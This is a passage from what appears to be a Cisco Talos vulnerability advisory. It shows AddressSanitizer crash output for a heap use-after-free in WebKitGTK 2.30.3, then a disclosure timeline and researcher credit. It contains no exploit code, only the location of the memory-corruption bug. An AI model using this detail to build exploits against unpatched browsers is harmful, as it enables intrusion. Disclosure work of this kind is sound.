JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/runtime/CallData.cpp:85:12

SUMMARY: AddressSanitizer: heap-use-after-free /home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WebCore/dom/Document.h:2188:89
in WTF::TypeCastTraits<WebCore::Document const, WebCore::ScriptExecutionContext const, false>::isType(WebCore::ScriptExecutionContext
const&)
Shadow bytes around the buggy address:
  0x0c3c8002d850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3c8002d860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3c8002d870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3c8002d880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3c8002d890: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c3c8002d8a0: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd
  0x0c3c8002d8b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3c8002d8c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3c8002d8d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3c8002d8e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3c8002d8f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==41058==ABORTING

=================================================================
==41050==ERROR: LeakSanitizer: detected memory leaks
```

Timeline

2020-12-10 - Vendor Disclosure

2021-03-04 - Vendor patched in 2.32

2021-06-02 - Public Release

CREDIT

Discovered by Marcin 'Icewall' Noga of Cisco Talos.